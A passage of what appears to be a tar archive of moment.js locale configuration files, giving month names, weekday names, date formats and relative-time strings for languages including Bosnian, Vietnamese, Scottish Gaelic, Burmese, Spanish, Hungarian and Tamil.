withoutSuffix ? 'jedna minuta' : 'jedne minute'; case 'mm': if (number === 1) { result += 'minuta'; } else if (number === 2 || number === 3 || number === 4) { result += 'minute'; } else { result += 'minuta'; } return result; case 'h': return withoutSuffix ? 'jedan sat' : 'jednog sata'; case 'hh': if (number === 1) { result += 'sat'; } else if (number === 2 || number === 3 || number === 4) { result += 'sata'; } else { result += 'sati'; } return result; case 'dd': if (number === 1) { result += 'dan'; } else { result += 'dana'; } return result; case 'MM': if (number === 1) { result += 'mjesec'; } else if (number === 2 || number === 3 || number === 4) { result += 'mjeseca'; } else { result += 'mjeseci'; } return result; case 'yy': if (number === 1) { result += 'godina'; } else if (number === 2 || number === 3 || number === 4) { result += 'godine'; } else { result += 'godina'; } return result; } } export default moment.defineLocale('bs', { months : 'januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar'.split('_'), monthsShort : 'jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.'.split('_'), monthsParseExact: true, weekdays : 'nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota'.split('_'), weekdaysShort : 'ned._pon._uto._sri._čet._pet._sub.'.split('_'), weekdaysMin : 'ne_po_ut_sr_če_pe_su'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY H:mm', LLLL : 'dddd, D. MMMM YYYY H:mm' }, calendar : { sameDay : '[danas u] LT', nextDay : '[sutra u] LT', nextWeek : function () { switch (this.day()) { case 0: return '[u] [nedjelju] [u] LT'; case 3: return '[u] [srijedu] [u] LT'; case 6: return '[u] [subotu] [u] LT'; case 1: case 2: case 4: case 5: return '[u] dddd [u] LT'; } }, lastDay : '[jučer u] LT', lastWeek : function () { switch (this.day()) { case 0: case 3: return '[prošlu] dddd [u] LT'; case 6: return '[prošle] [subote] [u] LT'; case 1: case 2: case 4: case 5: return '[prošli] dddd [u] LT'; } }, sameElse : 'L' }, relativeTime : { future : 'za %s', past : 'prije %s', s : 'par sekundi', ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : 'dan', dd : translate, M : 'mjesec', MM : translate, y : 'godinu', yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/vi.js000064400000004453151677412300006773 0ustar00//! moment.js locale configuration //! locale : Vietnamese [vi] //! author : Bang Nguyen : https://github.com/bangnk import moment from '../moment'; export default moment.defineLocale('vi', { months : 'tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12'.split('_'), monthsShort : 'Th01_Th02_Th03_Th04_Th05_Th06_Th07_Th08_Th09_Th10_Th11_Th12'.split('_'), monthsParseExact : true, weekdays : 'chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy'.split('_'), weekdaysShort : 'CN_T2_T3_T4_T5_T6_T7'.split('_'), weekdaysMin : 'CN_T2_T3_T4_T5_T6_T7'.split('_'), weekdaysParseExact : true, meridiemParse: /sa|ch/i, isPM : function (input) { return /^ch$/i.test(input); }, meridiem : function (hours, minutes, isLower) { if (hours < 12) { return isLower ? 'sa' : 'SA'; } else { return isLower ? 'ch' : 'CH'; } }, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM [năm] YYYY', LLL : 'D MMMM [năm] YYYY HH:mm', LLLL : 'dddd, D MMMM [năm] YYYY HH:mm', l : 'DD/M/YYYY', ll : 'D MMM YYYY', lll : 'D MMM YYYY HH:mm', llll : 'ddd, D MMM YYYY HH:mm' }, calendar : { sameDay: '[Hôm nay lúc] LT', nextDay: '[Ngày mai lúc] LT', nextWeek: 'dddd [tuần tới lúc] LT', lastDay: '[Hôm qua lúc] LT', lastWeek: 'dddd [tuần rồi lúc] LT', sameElse: 'L' }, relativeTime : { future : '%s tới', past : '%s trước', s : 'vài giây', ss : '%d giây' , m : 'một phút', mm : '%d phút', h : 'một giờ', hh : '%d giờ', d : 'một ngày', dd : '%d ngày', M : 'một tháng', MM : '%d tháng', y : 'một năm', yy : '%d năm' }, dayOfMonthOrdinalParse: /\d{1,2}/, ordinal : function (number) { return number; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/tet.js000064400000004055151677412300007147 0ustar00//! moment.js locale configuration //! locale : Tetun Dili (East Timor) [tet] //! author : Joshua Brooks : https://github.com/joshbrooks //! author : Onorio De J. Afonso : https://github.com/marobo //! author : Sonia Simoes : https://github.com/soniasimoes import moment from '../moment'; export default moment.defineLocale('tet', { months : 'Janeiru_Fevereiru_Marsu_Abril_Maiu_Juñu_Jullu_Agustu_Setembru_Outubru_Novembru_Dezembru'.split('_'), monthsShort : 'Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez'.split('_'), weekdays : 'Domingu_Segunda_Tersa_Kuarta_Kinta_Sesta_Sabadu'.split('_'), weekdaysShort : 'Dom_Seg_Ters_Kua_Kint_Sest_Sab'.split('_'), weekdaysMin : 'Do_Seg_Te_Ku_Ki_Ses_Sa'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay: '[Ohin iha] LT', nextDay: '[Aban iha] LT', nextWeek: 'dddd [iha] LT', lastDay: '[Horiseik iha] LT', lastWeek: 'dddd [semana kotuk] [iha] LT', sameElse: 'L' }, relativeTime : { future : 'iha %s', past : '%s liuba', s : 'minutu balun', ss : 'minutu %d', m : 'minutu ida', mm : 'minutu %d', h : 'oras ida', hh : 'oras %d', d : 'loron ida', dd : 'loron %d', M : 'fulan ida', MM : 'fulan %d', y : 'tinan ida', yy : 'tinan %d' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/gd.js000064400000004262151677412300006745 0ustar00//! moment.js locale configuration //! locale : Scottish Gaelic [gd] //! author : Jon Ashdown : https://github.com/jonashdown import moment from '../moment'; var months = [ 'Am Faoilleach', 'An Gearran', 'Am Màrt', 'An Giblean', 'An Cèitean', 'An t-Ògmhios', 'An t-Iuchar', 'An Lùnastal', 'An t-Sultain', 'An Dàmhair', 'An t-Samhain', 'An Dùbhlachd' ]; var monthsShort = ['Faoi', 'Gear', 'Màrt', 'Gibl', 'Cèit', 'Ògmh', 'Iuch', 'Lùn', 'Sult', 'Dàmh', 'Samh', 'Dùbh']; var weekdays = ['Didòmhnaich', 'Diluain', 'Dimàirt', 'Diciadain', 'Diardaoin', 'Dihaoine', 'Disathairne']; var weekdaysShort = ['Did', 'Dil', 'Dim', 'Dic', 'Dia', 'Dih', 'Dis']; var weekdaysMin = ['Dò', 'Lu', 'Mà', 'Ci', 'Ar', 'Ha', 'Sa']; export default moment.defineLocale('gd', { months : months, monthsShort : monthsShort, monthsParseExact : true, weekdays : weekdays, weekdaysShort : weekdaysShort, weekdaysMin : weekdaysMin, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[An-diugh aig] LT', nextDay : '[A-màireach aig] LT', nextWeek : 'dddd [aig] LT', lastDay : '[An-dè aig] LT', lastWeek : 'dddd [seo chaidh] [aig] LT', sameElse : 'L' }, relativeTime : { future : 'ann an %s', past : 'bho chionn %s', s : 'beagan diogan', ss : '%d diogan', m : 'mionaid', mm : '%d mionaidean', h : 'uair', hh : '%d uairean', d : 'latha', dd : '%d latha', M : 'mìos', MM : '%d mìosan', y : 'bliadhna', yy : '%d bliadhna' }, dayOfMonthOrdinalParse : /\d{1,2}(d|na|mh)/, ordinal : function (number) { var output = number === 1 ? 'd' : number % 10 === 2 ? 'na' : 'mh'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ss.js000064400000005130151677412300006773 0ustar00//! moment.js locale configuration //! locale : siSwati [ss] //! author : Nicolai Davies<mail@nicolai.io> : https://github.com/nicolaidavies import moment from '../moment'; export default moment.defineLocale('ss', { months : "Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split('_'), monthsShort : 'Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo'.split('_'), weekdays : 'Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo'.split('_'), weekdaysShort : 'Lis_Umb_Lsb_Les_Lsi_Lsh_Umg'.split('_'), weekdaysMin : 'Li_Us_Lb_Lt_Ls_Lh_Ug'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY h:mm A', LLLL : 'dddd, D MMMM YYYY h:mm A' }, calendar : { sameDay : '[Namuhla nga] LT', nextDay : '[Kusasa nga] LT', nextWeek : 'dddd [nga] LT', lastDay : '[Itolo nga] LT', lastWeek : 'dddd [leliphelile] [nga] LT', sameElse : 'L' }, relativeTime : { future : 'nga %s', past : 'wenteka nga %s', s : 'emizuzwana lomcane', ss : '%d mzuzwana', m : 'umzuzu', mm : '%d emizuzu', h : 'lihora', hh : '%d emahora', d : 'lilanga', dd : '%d emalanga', M : 'inyanga', MM : '%d tinyanga', y : 'umnyaka', yy : '%d iminyaka' }, meridiemParse: /ekuseni|emini|entsambama|ebusuku/, meridiem : function (hours, minutes, isLower) { if (hours < 11) { return 'ekuseni'; } else if (hours < 15) { return 'emini'; } else if (hours < 19) { return 'entsambama'; } else { return 'ebusuku'; } }, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'ekuseni') { return hour; } else if (meridiem === 'emini') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'entsambama' || meridiem === 'ebusuku') { if (hour === 0) { return 0; } return hour + 12; } }, dayOfMonthOrdinalParse: /\d{1,2}/, ordinal : '%d', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/me.js000064400000007145151677412300006757 0ustar00//! moment.js locale configuration //! locale : Montenegrin [me] //! author : Miodrag Nikač <miodrag@restartit.me> : https://github.com/miodragnikac import moment from '../moment'; var translator = { words: { //Different grammatical cases ss: ['sekund', 'sekunda', 'sekundi'], m: ['jedan minut', 'jednog minuta'], mm: ['minut', 'minuta', 'minuta'], h: ['jedan sat', 'jednog sata'], hh: ['sat', 'sata', 'sati'], dd: ['dan', 'dana', 'dana'], MM: ['mjesec', 'mjeseca', 'mjeseci'], yy: ['godina', 'godine', 'godina'] }, correctGrammaticalCase: function (number, wordKey) { return number === 1 ? wordKey[0] : (number >= 2 && number <= 4 ? wordKey[1] : wordKey[2]); }, translate: function (number, withoutSuffix, key) { var wordKey = translator.words[key]; if (key.length === 1) { return withoutSuffix ? wordKey[0] : wordKey[1]; } else { return number + ' ' + translator.correctGrammaticalCase(number, wordKey); } } }; export default moment.defineLocale('me', { months: 'januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar'.split('_'), monthsShort: 'jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.'.split('_'), monthsParseExact : true, weekdays: 'nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota'.split('_'), weekdaysShort: 'ned._pon._uto._sri._čet._pet._sub.'.split('_'), weekdaysMin: 'ne_po_ut_sr_če_pe_su'.split('_'), weekdaysParseExact : true, longDateFormat: { LT: 'H:mm', LTS : 'H:mm:ss', L: 'DD.MM.YYYY', LL: 'D. MMMM YYYY', LLL: 'D. MMMM YYYY H:mm', LLLL: 'dddd, D. MMMM YYYY H:mm' }, calendar: { sameDay: '[danas u] LT', nextDay: '[sjutra u] LT', nextWeek: function () { switch (this.day()) { case 0: return '[u] [nedjelju] [u] LT'; case 3: return '[u] [srijedu] [u] LT'; case 6: return '[u] [subotu] [u] LT'; case 1: case 2: case 4: case 5: return '[u] dddd [u] LT'; } }, lastDay : '[juče u] LT', lastWeek : function () { var lastWeekDays = [ '[prošle] [nedjelje] [u] LT', '[prošlog] [ponedjeljka] [u] LT', '[prošlog] [utorka] [u] LT', '[prošle] [srijede] [u] LT', '[prošlog] [četvrtka] [u] LT', '[prošlog] [petka] [u] LT', '[prošle] [subote] [u] LT' ]; return lastWeekDays[this.day()]; }, sameElse : 'L' }, relativeTime : { future : 'za %s', past : 'prije %s', s : 'nekoliko sekundi', ss : translator.translate, m : translator.translate, mm : translator.translate, h : translator.translate, hh : translator.translate, d : 'dan', dd : translator.translate, M : 'mjesec', MM : translator.translate, y : 'godinu', yy : translator.translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/my.js000064400000006004151677412300006774 0ustar00//! moment.js locale configuration //! locale : Burmese [my] //! author : Squar team, mysquar.com //! author : David Rossellat : https://github.com/gholadr //! author : Tin Aung Lin : https://github.com/thanyawzinmin import moment from '../moment'; var symbolMap = { '1': '၁', '2': '၂', '3': '၃', '4': '၄', '5': '၅', '6': '၆', '7': '၇', '8': '၈', '9': '၉', '0': '၀' }, numberMap = { '၁': '1', '၂': '2', '၃': '3', '၄': '4', '၅': '5', '၆': '6', '၇': '7', '၈': '8', '၉': '9', '၀': '0' }; export default moment.defineLocale('my', { months: 'ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ'.split('_'), monthsShort: 'ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ'.split('_'), weekdays: 'တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ'.split('_'), weekdaysShort: 'နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ'.split('_'), weekdaysMin: 'နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ'.split('_'), longDateFormat: { LT: 'HH:mm', LTS: 'HH:mm:ss', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY HH:mm', LLLL: 'dddd D MMMM YYYY HH:mm' }, calendar: { sameDay: '[ယနေ.] LT [မှာ]', nextDay: '[မနက်ဖြန်] LT [မှာ]', nextWeek: 'dddd LT [မှာ]', lastDay: '[မနေ.က] LT [မှာ]', lastWeek: '[ပြီးခဲ့သော] dddd LT [မှာ]', sameElse: 'L' }, relativeTime: { future: 'လာမည့် %s မှာ', past: 'လွန်ခဲ့သော %s က', s: 'စက္ကန်.အနည်းငယ်', ss : '%d စက္ကန့်', m: 'တစ်မိနစ်', mm: '%d မိနစ်', h: 'တစ်နာရီ', hh: '%d နာရီ', d: 'တစ်ရက်', dd: '%d ရက်', M: 'တစ်လ', MM: '%d လ', y: 'တစ်နှစ်', yy: '%d နှစ်' }, preparse: function (string) { return string.replace(/[၁၂၃၄၅၆၇၈၉၀]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, week: { dow: 1, // Monday is the first day of the week. doy: 4 // The week that contains Jan 1st is the first week of the year. } }); locale/es.js000064400000006361151677412300006764 0ustar00//! moment.js locale configuration //! locale : Spanish [es] //! author : Julio Napurí : https://github.com/julionc import moment from '../moment'; var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split('_'), monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_'); var monthsParse = [/^ene/i, /^feb/i, /^mar/i, /^abr/i, /^may/i, /^jun/i, /^jul/i, /^ago/i, /^sep/i, /^oct/i, /^nov/i, /^dic/i]; var monthsRegex = /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i; export default moment.defineLocale('es', { months : 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split('_'), monthsShort : function (m, format) { if (!m) { return monthsShortDot; } else if (/-MMM-/.test(format)) { return monthsShort[m.month()]; } else { return monthsShortDot[m.month()]; } }, monthsRegex : monthsRegex, monthsShortRegex : monthsRegex, monthsStrictRegex : /^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i, monthsShortStrictRegex : /^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i, monthsParse : monthsParse, longMonthsParse : monthsParse, shortMonthsParse : monthsParse, weekdays : 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'), weekdaysShort : 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'), weekdaysMin : 'do_lu_ma_mi_ju_vi_sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD/MM/YYYY', LL : 'D [de] MMMM [de] YYYY', LLL : 'D [de] MMMM [de] YYYY H:mm', LLLL : 'dddd, D [de] MMMM [de] YYYY H:mm' }, calendar : { sameDay : function () { return '[hoy a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, nextDay : function () { return '[mañana a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, nextWeek : function () { return 'dddd [a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, lastDay : function () { return '[ayer a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, lastWeek : function () { return '[el] dddd [pasado a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, sameElse : 'L' }, relativeTime : { future : 'en %s', past : 'hace %s', s : 'unos segundos', ss : '%d segundos', m : 'un minuto', mm : '%d minutos', h : 'una hora', hh : '%d horas', d : 'un día', dd : '%d días', M : 'un mes', MM : '%d meses', y : 'un año', yy : '%d años' }, dayOfMonthOrdinalParse : /\d{1,2}º/, ordinal : '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/fy.js000064400000004367151677412300006777 0ustar00//! moment.js locale configuration //! locale : Frisian [fy] //! author : Robin van der Vliet : https://github.com/robin0van0der0v import moment from '../moment'; var monthsShortWithDots = 'jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.'.split('_'), monthsShortWithoutDots = 'jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des'.split('_'); export default moment.defineLocale('fy', { months : 'jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber'.split('_'), monthsShort : function (m, format) { if (!m) { return monthsShortWithDots; } else if (/-MMM-/.test(format)) { return monthsShortWithoutDots[m.month()]; } else { return monthsShortWithDots[m.month()]; } }, monthsParseExact : true, weekdays : 'snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon'.split('_'), weekdaysShort : 'si._mo._ti._wo._to._fr._so.'.split('_'), weekdaysMin : 'Si_Mo_Ti_Wo_To_Fr_So'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD-MM-YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[hjoed om] LT', nextDay: '[moarn om] LT', nextWeek: 'dddd [om] LT', lastDay: '[juster om] LT', lastWeek: '[ôfrûne] dddd [om] LT', sameElse: 'L' }, relativeTime : { future : 'oer %s', past : '%s lyn', s : 'in pear sekonden', ss : '%d sekonden', m : 'ien minút', mm : '%d minuten', h : 'ien oere', hh : '%d oeren', d : 'ien dei', dd : '%d dagen', M : 'ien moanne', MM : '%d moannen', y : 'ien jier', yy : '%d jierren' }, dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, ordinal : function (number) { return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de'); }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/hu.js000064400000007214151677412300006767 0ustar00//! moment.js locale configuration //! locale : Hungarian [hu] //! author : Adam Brunner : https://github.com/adambrunner import moment from '../moment'; var weekEndings = 'vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton'.split(' '); function translate(number, withoutSuffix, key, isFuture) { var num = number, suffix; switch (key) { case 's': return (isFuture || withoutSuffix) ? 'néhány másodperc' : 'néhány másodperce'; case 'ss': return num + (isFuture || withoutSuffix) ? ' másodperc' : ' másodperce'; case 'm': return 'egy' + (isFuture || withoutSuffix ? ' perc' : ' perce'); case 'mm': return num + (isFuture || withoutSuffix ? ' perc' : ' perce'); case 'h': return 'egy' + (isFuture || withoutSuffix ? ' óra' : ' órája'); case 'hh': return num + (isFuture || withoutSuffix ? ' óra' : ' órája'); case 'd': return 'egy' + (isFuture || withoutSuffix ? ' nap' : ' napja'); case 'dd': return num + (isFuture || withoutSuffix ? ' nap' : ' napja'); case 'M': return 'egy' + (isFuture || withoutSuffix ? ' hónap' : ' hónapja'); case 'MM': return num + (isFuture || withoutSuffix ? ' hónap' : ' hónapja'); case 'y': return 'egy' + (isFuture || withoutSuffix ? ' év' : ' éve'); case 'yy': return num + (isFuture || withoutSuffix ? ' év' : ' éve'); } return ''; } function week(isFuture) { return (isFuture ? '' : '[múlt] ') + '[' + weekEndings[this.day()] + '] LT[-kor]'; } export default moment.defineLocale('hu', { months : 'január_február_március_április_május_június_július_augusztus_szeptember_október_november_december'.split('_'), monthsShort : 'jan_feb_márc_ápr_máj_jún_júl_aug_szept_okt_nov_dec'.split('_'), weekdays : 'vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat'.split('_'), weekdaysShort : 'vas_hét_kedd_sze_csüt_pén_szo'.split('_'), weekdaysMin : 'v_h_k_sze_cs_p_szo'.split('_'), longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'YYYY.MM.DD.', LL : 'YYYY. MMMM D.', LLL : 'YYYY. MMMM D. H:mm', LLLL : 'YYYY. MMMM D., dddd H:mm' }, meridiemParse: /de|du/i, isPM: function (input) { return input.charAt(1).toLowerCase() === 'u'; }, meridiem : function (hours, minutes, isLower) { if (hours < 12) { return isLower === true ? 'de' : 'DE'; } else { return isLower === true ? 'du' : 'DU'; } }, calendar : { sameDay : '[ma] LT[-kor]', nextDay : '[holnap] LT[-kor]', nextWeek : function () { return week.call(this, true); }, lastDay : '[tegnap] LT[-kor]', lastWeek : function () { return week.call(this, false); }, sameElse : 'L' }, relativeTime : { future : '%s múlva', past : '%s', s : translate, ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : translate, dd : translate, M : translate, MM : translate, y : translate, yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ta.js000064400000011275151677412300006761 0ustar00//! moment.js locale configuration //! locale : Tamil [ta] //! author : Arjunkumar Krishnamoorthy : https://github.com/tk120404 import moment from '../moment'; var symbolMap = { '1': '௧', '2': '௨', '3': '௩', '4': '௪', '5': '௫', '6': '௬', '7': '௭', '8': '௮', '9': '௯', '0': '௦' }, numberMap = { '௧': '1', '௨': '2', '௩': '3', '௪': '4', '௫': '5', '௬': '6', '௭': '7', '௮': '8', '௯': '9', '௦': '0' }; export default moment.defineLocale('ta', { months : 'ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்'.split('_'), monthsShort : 'ஜனவரி_பிப்ரவரி_மார்ச்_ஏப்ரல்_மே_ஜூன்_ஜூலை_ஆகஸ்ட்_செப்டெம்பர்_அக்டோபர்_நவம்பர்_டிசம்பர்'.split('_'), weekdays : 'ஞாயிற்றுக்கிழமை_திங்கட்கிழமை_செவ்வாய்கிழமை_புதன்கிழமை_வியாழக்கிழமை_வெள்ளிக்கிழமை_சனிக்கிழமை'.split('_'), weekdaysShort : 'ஞாயிறு_திங்கள்_செவ்வாய்_புதன்_வியாழன்_வெள்ளி_சனி'.split('_'), weekdaysMin : 'ஞா_தி_செ_பு_வி_வெ_ச'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, HH:mm', LLLL : 'dddd, D MMMM YYYY, HH:mm' }, calendar : { sameDay : '[இன்று] LT', nextDay : '[நாளை] LT', nextWeek : 'dddd, LT', lastDay : '[நேற்று] LT', lastWeek : '[கடந்த வாரம்] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s இல்', past : '%s முன்', s : 'ஒரு சில விநாடிகள்', ss : '%d விநாடிகள்', m : 'ஒரு நிமிடம்', mm : '%d நிமிடங்கள்', h : 'ஒரு மணி நேரம்', hh : '%d மணி நேரம்', d : 'ஒரு நாள்', dd : '%d நாட்கள்', M : 'ஒரு மாதம்', MM : '%d மாதங்கள்', y : 'ஒரு வருடம்', yy : '%d ஆண்டுகள்' }, dayOfMonthOrdinalParse: /\d{1,2}வது/, ordinal : function (number) { return number + 'வது'; }, preparse: function (string) { return string.replace(/[௧௨௩௪௫௬௭௮௯௦]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, // refer http://ta.wikipedia.org/s/1er1 meridiemParse: /யாமம்|வைகறை|காலை|நண்பகல்|எற்பாடு|மாலை/, meridiem : function (hour, minute, isLower) { if (hour < 2) { return ' யாமம்'; } else if (hour < 6) { return ' வைகறை'; // வைகறை } else if (hour < 10) { return ' காலை'; // காலை } else if (hour < 14) { return ' நண்பகல்'; // நண்பகல் } else if (hour < 18) { return ' எற்பாடு'; // எற்பாடு } else if (hour < 22) { return ' மாலை'; // மாலை } else { return ' யாமம்'; } }, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'யாமம்') { return hour < 2 ? hour : hour + 12; } else if (meridiem === 'வைகறை' || meridiem === 'காலை') { return hour; } else if (meridiem === 'நண்பகல்') { return hour >= 10 ? hour : hour + 12; } else { return hour + 12; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/uz-latn.js000064400000003220151677412300007736 0ustar00//! moment.js locale configuration //! locale : Uzbek Latin [uz-latn] //! author : Rasulbek Mirzayev : github.com/Rasulbeeek import moment from '../moment'; export default moment.defineLocale('uz-latn', { months : 'Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr'.split('_'), monthsShort : 'Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek'.split('_'), weekdays : 'Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba'.split('_'), weekdaysShort : 'Yak_Dush_Sesh_Chor_Pay_Jum_Shan'.split('_'), weekdaysMin : 'Ya_Du_Se_Cho_Pa_Ju_Sha'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'D MMMM YYYY, dddd HH:mm' }, calendar : { sameDay : '[Bugun soat] LT [da]', nextDay : '[Ertaga] LT [da]', nextWeek : 'dddd [kuni soat] LT [da]', lastDay : '[Kecha soat] LT [da]', lastWeek : '[O\'tgan] dddd [kuni soat] LT [da]', sameElse : 'L' }, relativeTime : { future : 'Yaqin %s ichida', past : 'Bir necha %s oldin', s : 'soniya', ss : '%d soniya', m : 'bir daqiqa', mm : '%d daqiqa', h : 'bir soat', hh : '%d soat', d : 'bir kun', dd : '%d kun', M : 'bir oy', MM : '%d oy', y : 'bir yil', yy : '%d yil' }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/en-il.js000064400000003350151677412300007354 0ustar00//! moment.js locale configuration //! locale : English (Israel) [en-il] //! author : Chris Gedrim : https://github.com/chrisgedrim import moment from '../moment'; export default moment.defineLocale('en-il', { months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'), weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'), weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'), weekdaysMin 